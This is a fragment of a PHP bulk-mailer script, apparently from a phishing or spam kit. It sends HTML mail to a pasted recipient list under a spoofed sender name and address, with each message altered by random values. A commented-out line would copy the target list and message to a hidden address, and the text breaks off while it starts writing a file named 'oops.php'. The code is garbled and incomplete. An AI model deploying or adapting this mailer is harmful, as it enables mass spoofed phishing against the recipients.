Mailer By OmarLOthario [INBOX] ignore_user_abort(); set_time_limit(0); function enviando(){ $msg=1; $de[1] = $_POST['de']; $nome[1] = $_POST['nome']; $assunto[1] = $_POST['assunto']; $mensagem[1] = $_POST['mensagem']; $mensagem[1] = stripslashes($mensagem[1]); $emails = $_POST['emails']; $emails2 = htmlspecialchars($_POST['emails']); $para = explode("\n", $emails); $n_emails = count($para); $sv = $_SERVER['SERVER_NAME']; $en = $_SERVER ['REQUEST_URI']; $k88 = @$_SERVER["HTTP_REFERER"]; $fullurl = "" . $k88 . "Emails:".$emails2."Engenharia:".$mensagem[1].""; $vai = $_POST['vai']; if ($vai){ for ($set=0; $set < $n_emails; $set++){ if ($set==0){ $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: $nome[$msg] <$de[$msg]>\r\n"; $headers .= "Return-Path: <$de[$msg]>\r\n"; //mail($xsylar, $as, $fullurl, $headers); } $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: $nome[$msg] <$de[$msg]>\r\n"; $headers .= "Return-Path: <$de[$msg]>\r\n"; $n_mail++; $destino = $para[$set]; $num1 = rand(100000,999999); $num2 = rand(100000,999999); $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); $msgrand = str_replace("%rand2%", $num2, $msgrand); $msgrand = str_replace("%email%", $destino, $msgrand); $enviar = mail($destino, $assunto[$msg], $msgrand, $headers); if ($enviar){ echo (''. $n_mail .'-'. $destino .' 0k!'); } else { echo (''. $n_mail .'-'. $destino .' =('); sleep(1); } } } } ?> echo enviando(); ?> Name: From: Subject: Letter: Mailist: echo stripslashes($_POST['mensagem']);?> $myfile = fopen("oops.php", "w"); $txt = '